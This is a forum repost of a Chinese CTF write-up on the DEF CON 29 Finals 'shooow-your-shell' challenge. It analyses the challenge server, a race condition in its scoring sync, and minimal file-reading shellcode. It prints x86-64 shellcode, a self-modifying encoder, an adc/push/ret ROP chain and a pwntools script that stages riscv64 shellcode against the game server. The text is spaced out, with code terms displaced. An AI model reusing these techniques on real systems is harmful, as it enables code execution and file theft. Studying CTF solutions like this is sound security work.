搜索

[27606] 2021-08-18_DC29FINALshooow-your-shell总结

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2021-08-18_DC29FINALshooow-your-shell总结 D E F C O N   2 9   F I N A L   s h o o o w - y o u r - s h e l l 总 结 原 创   4 0 4 实 验 室   S e e b u g 漏 洞 平 台   2 0 2 1 - 0 8 - 1 8 收 录 于 话 题   # 原 创 P a p e r   , 8 9 个 作 者 ： 作 者 ： H c a m a e l @ 知 道 创 宇 知 道 创 宇 4 0 4 实 验 室 实 验 室 时 间 ： 时 间 ： 2 0 2 1 年 年 8 月 月 1 0 日 日 今 年 有 幸 和 N u 1 L 的 队 友 一 起 打 进 的 D E F C O N 决 赛 ， 其 中 的 一 道 K O H 类 型 的 题 目 （ s h o o w - y o u r - s h e l l ） 挺 有 意 思 的 ， 学 到 了 很 多 骚 操 作 ， 所 以 打 算 写 一 篇 总 结 。 这 题 是 最 后 一 天 放 出 来 的 K O H 类 型 的 题 目 ， 比 哪 队 写 的 使 用 的 字 符 少 ， 长 度 短 ， 就 能 成 为 ， 然 后 在 9 0 0 s 内 没 队 伍 超 过 你 ， 那 么 会 根 据 当 时 的 排 名 来 给 本 轮 的 分 数 。 第 一 名 1 0 分 ， 第 二 名 6 分 ， 第 三 名 3 分 ， 第 四 名 2 分 ， 第 五 名 1 分 ， 之 后 的 队 伍 不 得 分 。 本 题 给 了 题 目 的 文 件 ， 方 便 选 手 本 地 复 现 测 试 ， o o o 之 后 估 计 也 会 公 布 本 题 源 码 ， 我 也 把 源 码 p u s h 到 我 的 G i t h u b [ 1 ] 上 了 。 题 目 分 析 题 目 分 析 首 先 ， 来 分 析 一 下 代 码 ， 9 0 9 0 端 口 绑 定 的 是 w r a p p e r 服 务 ， 该 服 务 启 动 了 s e r v e r . p y ， 本 题 的 主 要 代 码 都 在 该 文 件 中 。 1 .   首 先 检 查 本 次 的 k i n g 是 否 为 连 接 进 来 的 队 伍 ， 如 果 是 ， 则 退 出 。 目 的 为 不 让 一 个 队 伍 在 成 功 成 为 k i n g 后 ， 连 续 提 交 s h e l l c o d e 。 2 .   以 十 六 进 制 格 式 输 入 s h e l l c o d e 。 3 .   检 查 黑 名 单 字 节 ， 首 轮 默 认 黑 名 单 为 0 x 9 0 ， 其 后 每 轮 初 始 的 黑 名 单 为 上 一 个 k i n g 使 用 的 s h e l l c o d e 中 随 机 一 个 字 节 。 4 .   检 查 是 否 是 第 一 个 提 交 ， 如 果 是 第 一 个 提 交 则 不 需 要 后 续 检 查 了 。 5 .   如 果 不 是 第 一 个 提 交 ， 则 要 求 当 前 k i n g 使 用 的 字 符 你 没 有 全 都 使 用 （ 这 里 不 知 道 是 不 是 出 题 人 写 了 b u g ， 按 我 理 解 ， 应 该 是 s h e l l c o d e 的 字 符 种 类 要 比 当 前 的 k i n g 少 ， 而 现 在 这 种 规 则 ， 新 提 交 的 s h e l l c o d e 字 符 种 类 可 以 比 当 前 k i n g 的 多 ， 只 要 少 使 用 一 个 当 前 k i n g 使 用 的 字 符 ） ， 或 者 字 符 长 度 比 当 前 的 k i n g 短 。 6 .   创 建 一 个 缓 存 目 录 ， 把 三 个 架 构 的 r u n n e r ， 三 个 架 构 的 q e m u ， s h u f f l 复 制 一 份 到 这 个 目 录 下 ， 生 成 一 串 随 机 数 ， 写 到 这 个 目 录 下 ， 然 后 依 次 执 行 三 个 架 构 ， 命 令 为 ： p   =   s u b p r o c e s s . P o p e n ( [ o s . p a t h . j o i n ( t m p d i r ,   o s . p a t h . b a s e n a m e ( S H U F F L _ P A T H ) ) ,   " 5 " , f " . / q e m u - { a r c h } - s t a t i c " ,   f " . / r u n n e r - { a r c h } " ] ,   c w d = t m p d i r ,   s t d i n = s u b p r o c e s s . P I P E ,   s t d o u t = s u b p r o c e s s . P I P E ,   s t d e r r = 1 ) 7 .   如 果 该 命 令 执 行 的 结 果 为 之 前 生 成 的 随 机 数 ， 则 表 示 s h e l l c o d e 执 行 成 功 ， 你 将 成 为 新 的 k i n g 。 8 .   会 把 每 轮 的 k i n g 写 入 h i s t o r y 文 件 中 。 脚 本 的 主 要 逻 辑 就 如 上 所 示 ， 在 上 述 的 流 程 中 ， 随 机 生 成 字 符 串 ， 写 入 到 文 件 中 ， 然 后 要 求 s h e l l c o d e 输 出 相 同 的 字 符 ， 说 明 需 要 我 们 写 一 个 读 文 件 ， 然 后 输 出 文 件 内 容 的 s h e l l c o d e 。 接 下 来 还 需 要 去 逆 向 s h o o o w - y o u r - s h e l l s h e l l c o d e k i n g D o c k e r f i l e s e r v e r . p y s h u f f l
程 序 ， 该 程 序 的 第 一 个 参 数 为 程 序 的 超 时 时 间 ， 在 p y t h o n 脚 本 里 设 置 的 值 为 5 ， 表 示 s h e l l c o d e 要 在 5 秒 内 执 行 完 成 ， 要 不 然 会 强 行 中 断 。 然 后 使 用 c h r o o t 切 换 到 缓 存 目 录 ， 并 且 使 用 s e t u i d 设 置 一 个 随 机 用 户 ， 然 后 执 行 q e m u 。 这 么 做 的 目 的 就 是 为 了 做 权 限 的 限 制 ， 只 允 许 写 读 文 件 的 s h e l l c o d e ， 能 执 行 的 程 序 只 有 当 前 目 录 下 的 三 个 q e m u 和 三 个 r u n n e r ， 并 且 都 没 有 文 件 的 修 改 权 限 。 之 后 又 去 逆 向 了 程 序 ， 发 现 是 静 态 编 译 ， 不 依 赖 l i b c ， 也 不 存 在 之 类 的 函 数 ， 大 概 也 是 出 题 人 为 了 防 止 出 现 读 文 件 之 外 的 s h e l l c o d e 出 现 而 做 的 限 制 。 默 认 情 况 下 ， 第 一 个 提 交 的 队 伍 的 字 节 黑 名 单 只 有 1 个 ， 这 种 情 况 下 是 非 常 容 易 写 s h e l l c o d e 的 ， 但 是 在 你 前 面 存 在 k i n g 时 ， 你 超 过 了 他 之 后 ， 黑 名 单 将 会 添 加 上 一 个 k i n g 使 用 了 而 现 在 的 k i n g 没 使 用 的 字 符 。 这 时 可 以 有 一 种 策 略 ， 在 你 的 s h e l l c o d e 之 后 p a d d i n g 上 所 有 黑 名 单 不 存 并 且 你 的 s h e l l c o d e 中 不 存 在 的 字 符 。 这 样 当 下 一 个 k i n g 超 过 你 之 后 ， 除 了 他 使 用 的 字 符 ， 其 他 字 符 都 会 被 加 入 黑 名 单 ， 这 会 把 比 赛 变 为 单 纯 的 比 s h e l l c o d e 长 度 的 比 赛 ， 当 这 个 k i n g 的 s h e l l c o d e 长 度 没 法 优 化 的 情 况 下 ， 你 起 码 可 以 获 得 第 二 名 的 成 绩 。 比 赛 结 束 后 ， 交 流 的 过 程 中 得 知 该 程 序 还 存 在 条 件 竞 争 。 根 据 可 知 ， 文 件 的 超 时 时 间 为 3 0 s 。 首 先 我 们 用 线 程 A 连 接 进 该 服 务 ， 这 个 时 候 已 经 打 开 了 当 前 的 h i s t o r y ， 然 后 暂 时 不 进 行 任 何 操 作 ， 然 后 再 用 线 程 B 连 接 进 该 服 务 ， 查 看 是 否 有 新 的 k i n g 产 生 ， 如 果 有 ， 则 复 制 其 s h e l l c o d e ， 在 线 程 A 中 输 入 。 那 么 在 线 程 A 中 ， 将 会 成 为 新 的 k i n g ， 然 后 覆 盖 当 前 的 h i s t o r y 。 出 现 该 条 件 竞 争 的 原 因 跟 该 题 的 架 构 有 点 关 系 ， 一 共 有 1 6 个 队 伍 ， 每 个 队 伍 单 独 一 台 服 务 器 ， 每 个 队 伍 都 是 在 自 己 的 队 伍 上 提 交 s h e l l c o d e ， 然 后 记 录 k i n g 的 文 件 存 放 在 服 务 器 本 地 ， 也 就 是 说 有 1 6 个 文 件 ， 所 以 需 要 主 办 方 在 后 台 提 供 同 步 的 服 务 ， 我 猜 测 主 办 方 的 做 法 是 ， 监 控 1 6 个 服 务 器 上 的 h i s t o r y ， 当 该 文 件 发 现 改 变 ， 那 么 将 同 步 到 其 他 服 务 器 上 。 因 为 在 访 问 服 务 器 的 最 开 始 就 打 开 读 取 了 文 件 ， 并 且 中 间 有 3 0 秒 的 超 时 时 间 ， 这 个 时 间 差 就 导 致 了 竞 争 的 漏 洞 。 不 过 这 个 漏 洞 只 能 让 你 顶 替 他 人 的 k i n g ， 没 办 法 在 其 他 队 都 无 计 可 施 的 时 候 超 过 当 前 的 k i n g 。 s h e l l c o d e 分 析 分 析 接 下 来 把 目 光 放 到 s h e l l c o d e 上 ， 下 面 将 对 各 类 的 s h e l l c o d e 进 行 讲 解 分 析 ： 1   基 本 的 s h e l l c o d e 最 普 通 的 s h e l l c o d e ： m o v   r a x , 0 x 7 4 6 5 7 2 6 3 6 5 7 3 p u s h   r a x p u s h   r s p p o p   r d i p u s h   2 p o p   r a x s y s c a l l p u s h   4 0 p o p   r a x p u s h   1 p o p   r d i p u s h   3 r u n n e r s y s t e m w r a p p e r s e r v i c e . p y h i s t o r y h i s t o r y h i s t o r y
p o p   r s i x o r   r d x , r d x s y s c a l l 这 种 s h e l l c o d e 没 啥 好 说 的 。 2   1 0 字 符 的 s h e l l c o d e 我 们 队 伍 的 大 佬 写 了 一 个 能 优 化 到 1 0 个 字 符 种 类 的 s h e l l c o d e ： d e f   e n c o d e ( i n n e r _ s ) :       s   =   ' ' '     m o v   a l ,   1     ' ' '               #   m o v   a h ,   8       #   a d d   r d x ,   r a x   #   m o v   a l ,   1 ;   a d d   r d x ,   0 x 8 0 0       #   i n n e r _ s   = ' H x b 8 x 0 1 x 0 1 x 0 1 x 0 1 x 0 1 x 0 1 x 0 1 x 0 1 P H x b 8 . g m ` f x 0 1 x 0 1 x 0 1 H 1 x 0 4 $ j x 0 2 X H x 8 9 x e 7 1 x f 6 x 9 9 x 0 f x 0 5 A x b a x f f x f f x f f x 7 f H x 8 9 x c 6 j ( X j x 0 1 _ x 9 9 x 0 f x 0 5 '             f o r   i ,   c   i n   e n u m e r a t e ( b i t s ( b i t s w a p ( ' x d 0 x 9 0 '   +   i n n e r _ s ) ) ) :               i f   i   ! =   0   a n d   i   %   8   = =   0 :                       s   + =   ' i n c   r d x '               i f   c :                       s   + =   ' ' '                     a d d   b y t e   p t r   [ r d x + 0 x f c 0 ] ,   a l                     r o l   a l ,   1                     ' ' '               e l s e :                       s   + =   ' ' '                     r o l   a l ,   1                     ' ' '       p a y l o a d   =   a s m ( s ) . l j u s t ( 0 x f c 0 ,   ' x D 0 ' )       #   p a y l o a d   =   p a y l o a d . l j u s t ( 0 x 1 0 0 0 ,   ' x 0 0 ' )       r e t u r n   p a y l o a d 原 理 就 是 在 不 计 较 s h e l l c o d e 长 度 的 情 况 下 ， 能 把 任 意 字 符 写 到 某 个 内 存 里 去 ， 通 过 调 试 可 以 发 现 ， 程 序 执 行 时 ， 的 值 为 内 存 的 地 址 ， 所 以 通 过 上 面 的 指 令 ， 可 以 把 其 他 s h e l l c o d e 指 令 替 换 掉 当 前 内 存 的 s h e l l c o d e ， 从 而 执 行 其 他 指 令 。 3   3 种 字 符 s h e l l c o d e 我 们 根 据 上 述 逻 辑 把 字 符 种 类 优 化 到 了 9 字 节 （ 但 我 没 记 录 ） ， 本 以 为 已 经 优 化 的 很 牛 逼 了 ， 但 无 奈 对 手 十 分 强 大 ， 出 现 了 只 使 用 3 个 种 类 字 符 的 s h e l l c o d e ： r u n n e r s h e l l c o d e r d x s h e l l c o d e
T D 战 队 的 s h e l l c o d e 只 使 用 了 三 个 字 符 。 来 反 汇 编 看 看 ： 0 :       1 5   1 5   1 5   1 5   5 0                     a d c         e a x ,   0 x 5 0 1 5 1 5 1 5     5 :       1 5   5 0   5 0   1 5   5 0                     a d c         e a x ,   0 x 5 0 1 5 5 0 5 0     a :       1 5   5 0   5 0   1 5   5 0                     a d c         e a x ,   0 x 5 0 1 5 5 0 5 0     f :       1 5   5 0   5 0   1 5   5 0                     a d c         e a x ,   0 x 5 0 1 5 5 0 5 0   1 4 :       1 5   5 0   5 0   1 5   5 0                     a d c         e a x ,   0 x 5 0 1 5 5 0 5 0   1 9 :       1 5   5 0   5 0   1 5   5 0                     a d c         e a x ,   0 x 5 0 1 5 5 0 5 0   1 e :       1 5   5 0   5 0   1 5   c 2                     a d c         e a x ,   0 x c 2 1 5 5 0 5 0   2 3 :       1 5   5 0   5 0   1 5   c 2                     a d c         e a x ,   0 x c 2 1 5 5 0 5 0   2 8 :       1 5   5 0   5 0   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 5 0 5 0   2 d :       1 5   5 0   5 0   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 5 0 5 0   3 2 :       1 5   5 0   5 0   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 5 0 5 0   3 7 :       1 5   5 0   c 2   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 c 2 5 0   3 c :       1 5   5 0   c 2   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 c 2 5 0   4 1 :       1 5   5 0   c 2   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 c 2 5 0   4 6 :       1 5   5 0   c 2   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 c 2 5 0   4 b :       1 5   5 0   c 2   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 c 2 5 0   5 0 :       1 5   5 0   c 2   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 c 2 5 0   5 5 :       1 5   5 0   c 2   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 c 2 5 0   5 a :       5 0                                             p u s h       e a x 1 5   5 0   c 2
. . . . . .   6 1 d :       1 5   c 2   5 0   5 0   c 2                     a d c         e a x ,   0 x c 2 5 0 5 0 c 2   6 2 2 :       5 0                                             p u s h       e a x   6 2 3 :       c 2                                             r e t 反 汇 编 后 就 好 理 解 了 ， 不 得 不 说 这 个 思 路 非 常 牛 逼 。 利 用 三 个 指 令 进 行 R O P 调 用 。 再 进 行 一 下 解 码 操 作 ， 可 以 发 现 ， 实 际 上 的 如 下 所 示 ： 0 x 4 9 0 9 7 2 ;   m o v   r s i ,   [ r b x ] ;   c a l l       r a x 0 x 4 c 2 8 0 6 0 x 4 4 6 f 3 a ;   p o p   r b x ;   r e t 0 x 4 7 a 8 5 0 ;   _ d l _ d p r i n t f 0 x 4 7 e 5 0 a ;   p o p   e a x ;   r e t 0 x 1 0 x 4 1 3 a e b ;   p o p   e d i ;   r e t 0 x 4 1 9 1 c 8 ;   m o v   [ r d x ] ,   r a x ;   r e t 0 x 4 c 2 8 0 6 0 x 4 0 1 7 1 f ;   p o p   r d x ;   r e t 0 x 4 7 a 6 5 0 ;   d l _ s y s d e p _ r e a d _ w h o l e _ f i l e 0 x 4 3 3 a e 4 ;   m o v   [ r d i ] ,   r d x ;   r e t 0 x 4 c 2 8 0 6 ; 0 x 4 0 f f b 0 ;   p o p   e d i ;   r e t 0 x 7 2 6 3 6 5 7 3 ;   s e c r 0 x 4 0 1 7 1 F ;   p o p   r d x ;   r e t 0 x 4 3 6 6 1 3 ;   m o v   [ r d i ] ,   r d x ;   r e t 0 x 4 c 2 8 0 a 0 x 4 1 5 f 5 6 ;   p o p   e d i ;   r e t 0 x 7 4 6 5     ;   e t x 0 0 0 x 4 0 1 7 1 F ;   p o p   r d x ;   r e t r e t 指 令 必 须 要 有 一 个 字 符 ， 因 为 s h e l l c o d e 的 内 存 区 域 默 认 值 就 是 ， 所 以 可 以 省 略 字 符 ， 占 一 个 字 符 ， 占 一 个 字 符 ， 所 以 这 是 这 种 套 路 必 须 要 用 的 三 种 字 符 。 这 三 种 字 符 可 以 组 成 8 1 种 数 字 ： v a l   =   [ " 1 5 " ,   " 5 0 " ,   " c 2 " ] o i   =   i t e r t o o l s . p r o d u c t ( v a l ,   r e p e a t = 4 ) a d c / p u s h / r e t s h e l l c o d e r e t c 2 0 0 0 0 0 0 0 0 a d c   e a x 1 5 p u s h   e a x 5 0
然 后 根 据 R O P 的 值 ， 使 用 这 8 1 个 数 字 匹 配 出 某 种 组 合 ， 该 s h e l l c o d e 的 难 点 就 在 这 了 ， 如 何 计 算 这 种 组 合 。 我 目 前 的 思 路 就 是 随 机 出 几 种 组 合 ， 使 用 z 3 进 行 计 算 ， 如 果 在 一 定 时 间 内 没 计 算 出 ， 则 终 止 ， 换 一 套 组 合 进 行 计 算 。 三 种 字 符 的 s h e l l c o d e 当 然 不 止 这 一 种 ， 如 果 只 有 这 一 种 ， 那 么 当 下 回 合 这 三 种 字 符 随 意 一 种 字 符 被 加 入 黑 名 单 时 ， 该 s h e l l c o d e 讲 无 用 武 之 地 。 我 们 应 该 理 解 其 原 理 ， 活 学 活 用 。 比 如 原 本 是 ， 所 以 可 以 把 替 换 成 ， 还 有 ， 等 等 。 可 以 换 成 或 者 其 他 ， 可 以 换 成 或 者 其 他 ， 比 如 ： r e t c 3 c 2 c 3 c b ( r e t f ) c a 0 0 0 0 ( r e t f   0 x 0 ) a d c a d d e a x e b x
4   长 度 为 3 字 节 的 s h e l l c o d e 从 上 面 图 中 可 以 发 现 T D 战 队 和 K a t z e b i n 战 队 就 已 经 在 比 拼 算 法 的 优 化 能 力 了 ， 除 此 之 外 ， 前 三 名 的 s h e l l c o d e ， 不 说 其 字 符 种 类 ， 其 长 度 就 只 有 3 字 节 。 3 字 节 的 s h e l l c o d e 就 能 读 文 件 ？ 比 赛 的 时 候 第 一 次 看 到 这 三 字 节 的 s h e l l c o d e 时 ， 我 整 个 人 都 惊 呆 了 ， 甚 至 怀 疑 这 些 队 伍 是 不 是 使 用 了 什 么 0 d a y 修 改 了 h i s t o r y 文 件 ， 把 自 己 的 s h e l l c o d e 随 意 改 了 几 个 字 节 。 赛 后 复 盘 的 时 候 才 得 知 ， 这 是 的 s h e l l c o d e ， 作 用 是 执 行 系 统 调 用 ， 从 标 准 错 误 中 读 取 数 据 。 为 什 么 能 从 错 误 输 出 中 读 取 数 据 呢 ？ 首 先 来 看 看 执 行 该 代 码 的 指 令 ： p   =   s u b p r o c e s s . P o p e n ( [ o s . p a t h . j o i n ( t m p d i r ,   o s . p a t h . b a s e n a m e ( S H U F F L _ P A T H ) ) ,   " 5 " , f " . / q e m u - { a r c h } - s t a t i c " ,   f " . / r u n n e r - { a r c h } " r i s c v 6 4 r e a d ( 2 ,   b u f ,   l e n g t h )
] ,   c w d = t m p d i r ,   s t d i n = s u b p r o c e s s . P I P E ,   s t d o u t = s u b p r o c e s s . P I P E ,   s t d e r r = 1 ) 标 准 错 误 ( 2 ) 被 重 定 向 到 标 准 输 出 ( 1 ) ， 而 该 p y t h o n 文 件 的 标 准 输 入 和 输 出 都 是 s o c k e t 文 件 描 述 符 ， 所 以 在 s h e l l c o d e 中 从 标 准 错 误 读 数 据 也 就 是 从 s o c k e t 文 件 描 述 符 。 反 汇 编 一 下 这 三 个 字 节 的 s h e l l c o d e ： p r i n t ( d i s a s m ( u n h e x ( " 6 9 8 9 7 3 0 0 0 0 0 0 0 0 " ) ,   a r c h = " r i s c v " ,   b i t s = 6 4 ) )     0 :       8 9 6 9                                       a n d i       a 0 ,   a 0 ,   2 6     2 :       0 0 0 0 0 0 7 3                               e c a l l 通 过 调 试 可 知 在 中 ：           0 x 1 0 5 c e   < m a i n + 4 1 4 >               j a l       r a ,   0 x 1 0 c a c   < _ _ a s s e r t _ f a i l >           0 x 1 0 5 d 2   < m a i n + 4 1 8 >               l u i       a 2 ,   0 x 1           0 x 1 0 5 d 4   < m a i n + 4 2 0 >               l d           a 1 ,   - 1 0 5 6 ( s 0 ) →       0 x 1 0 5 d a   < m a i n + 4 2 6 >               j a l       r a ,   0 x 2 0 9 4 e   < r e a d >           0 x 1 0 5 d e   < m a i n + 4 3 0 >               l d           a 5 ,   - 1 0 5 6 ( s 0 )           0 x 1 0 5 e 2   < m a i n + 4 3 4 >               j a l r       a 5           0 x 1 0 5 e 4   < m a i n + 4 3 6 >               l i           a 5 ,   0           0 x 1 0 5 e 6   < m a i n + 4 3 8 >               m v           a 3 ,   a 5           0 x 1 0 5 e 8   < m a i n + 4 4 0 >               a u i p c   a 5 ,   0 x 6 0 执 行 完 r e a d 标 准 输 入 后 ， 就 跳 转 到 s h e l l c o d e 地 址 ， 在 执 行 指 令 时 ， 寄 存 器 上 下 文 ： $ z e r o :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ r a   :   0 x 0 0 0 0 0 0 0 0 0 0 0 1 0 5 d e   →   0 x 4 7 8 1 9 7 8 2 b e 0 4 3 7 8 3   →   0 x 4 7 8 1 9 7 8 2 b e 0 4 3 7 8 3 $ s p   :   0 x 0 0 0 0 0 0 4 0 0 0 7 f f b b 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ g p   :   0 x 0 0 0 0 0 0 0 0 0 0 0 7 1 0 3 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ t p   :   0 x 0 0 0 0 0 0 0 0 0 0 0 7 2 7 1 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 7 0 6 7 8   →   0 x 0 0 0 0 0 0 0 0 0 0 0 5 1 a 6 8   →   0 x 0 0 0 0 0 0 0 0 0 0 0 7 0 9 b 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 3   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 3 $ t 0   :   0 x 0 0 0 0 0 0 0 0 0 0 0 7 2 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ t 1   :   0 x 2 f 2 f 2 f 2 f 2 f 2 f 2 f 2 f   →   0 x 2 f 2 f 2 f 2 f 2 f 2 f 2 f 2 f $ t 2   :   0 x 0 0 0 0 0 0 0 0 0 0 0 7 2 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ f p   :   0 x 0 0 0 0 0 0 4 0 0 0 7 f f f f 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ s 1   :   0 x 0 0 0 0 0 0 0 0 0 0 0 1 0 b 6 a   →   0 x 0 0 0 6 f 7 b 7 e 8 2 2 1 1 0 1   →   0 x 0 0 0 6 f 7 b 7 e 8 2 2 1 1 0 1 $ a 0   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 $ a 1   :   0 x 0 0 0 0 0 0 4 0 0 0 8 0 1 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 a 3 3 3 2 3 1   →   0 x 0 0 0 0 0 0 0 0 0 a 3 3 3 2 3 1 $ a 2   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 $ a 3   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 2   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 2 $ a 4   :   0 x 0 0 0 0 0 0 4 0 0 0 8 0 1 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 a 3 3 3 2 3 1   →   0 x 0 0 0 0 0 0 0 0 0 a 3 3 3 2 3 1 $ a 5   :   0 x 0 0 0 0 0 0 4 0 0 0 8 0 1 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 a 3 3 3 2 3 1   →   0 x 0 0 0 0 0 0 0 0 0 a 3 3 3 2 3 1 $ a 6   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ a 7   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 f   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 f $ s 2   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ s 3   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ s 4   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ s 5   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ s 6   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 r u n n e r - r i s c v 6 4 j a l r   a 5
$ s 7   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ s 8   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ s 9   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ s 1 0   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ s 1 1   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ t 3   :   0 x f f f f f f f f f f f f f f f f $ t 4   :   0 x 0 0 0 0 0 0 0 0 0 0 0 6 e a d 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 7 0 6 7 8   →   0 x 0 0 0 0 0 0 0 0 0 0 0 5 1 a 6 8   →   0 x 0 0 0 0 0 0 0 0 0 0 0 7 0 9 b 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 3   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 3 $ t 5   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ t 6   :   0 x 0 0 0 0 0 0 0 0 0 0 0 7 2 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   →   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 其 中 ， ， 为 函 数 的 返 回 值 ， 表 示 标 准 输 入 的 长 度 ， 的 值 等 于 ， 指 向 了 存 放 s h e l l c o d e 的 内 存 ， ， 表 示 读 取 的 长 度 ， 等 于 0 x 3 7 ， 对 于 价 格 ， ， 然 后 调 用 指 令 ， 表 示 执 行 系 统 调 用 。 所 以 上 面 那 3 字 节 的 s h e l l c o d e 做 的 事 就 是 ， ， 因 为 输 入 的 长 度 为 3 ， 所 以 是 ， 然 后 调 用 ， 执 行 的 就 是 。 实 际 的 s h e l l c o d e 就 能 通 过 第 二 次 输 入 到 内 存 中 。 3 字 节 的 s h e l l c o d e 还 不 是 最 短 的 ， 还 能 继 续 优 化 ， 只 需 要 修 改 ， 那 么 只 需 要 输 入 2 字 节 的 s h e l l c o d e 就 能 让 的 值 等 于 2 ， 所 以 最 短 的 s h e l l c o d e 为 下 面 放 一 个 使 用 2 字 节 的 s h e l l c o d e 脚 本 ： # ! / u s r / b i n / e n v   p y t h o n 3 #   - * -   c o d i n g = u t f - 8   - * - $ a 0   =   4 r e a d $ a 0 $ a 5 $ a 2   =   0 x 1 0 0 0 $ a 7 r i s c v 6 4 $ a 7   =   0 x 3 7 e c a l l r e a d $ a   &   0 x 1 a 3   &   0 x 1 a   =   2 e c a l l r e a d ( 2 ,   0 x 0 0 0 0 0 0 4 0 0 0 8 0 1 0 0 0 ,   0 x 1 0 0 0 ) $ a 0 = 2 $ a 0 7 3 0 0
f r o m   p w n   i m p o r t   * i m p o r t   t i m e c o n t e x t . l o g _ l e v e l   =   " d e b u g " p   =   r e m o t e ( " 1 0 . 1 1 . 3 4 . 9 6 " ,   9 0 9 0 ) #   p   =   r e m o t e ( " 1 9 2 . 1 6 8 . 1 1 . 4 " ,   9 0 9 0 ) s h e l l c o d e 1   =   b " 7 3 0 0 " #   s h e l l c o d e 1   =   b " 0 0 0 0 0 0 c a 0 0 0 8 0 0 9 1 2 1 0 0 0 0 d 4 "   #   a a r c h 6 4 s h e l l c o d e 2   =   " " " l i           s 1 ,   0 x 7 4 6 5 7 2 6 3 6 5 7 3 s d           s 1 ,   0 ( s p ) m v           a 1 ,   s p           l i           a 7 ,   5 6 l i           a 0 ,   - 1 0 0 e c a l l l i           a 7 ,   7 1 m v           a 1 ,   a 0 l i           a 0 ,   1 l i           a 2 ,   0 l i           a 3 ,   1 0 0 e c a l l " " " s h e l l c o d e 2   =   a s m ( s h e l l c o d e 2 ,   a r c h = " r i s c v " ,   b i t s = 6 4 ) s h e l l c o d e 2   =   b " s x 0 0 x 0 0 x 0 0 "   +   s h e l l c o d e 2 p . r e a d u n t i l ( b " s h e l l c o d e : " ) p . s e n d l i n e ( s h e l l c o d e 1 ) p a u s e ( ) p . s e n d ( s h e l l c o d e 2 ) p . i n t e r a c t i v e ( ) 结 果 如 图 所 示 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
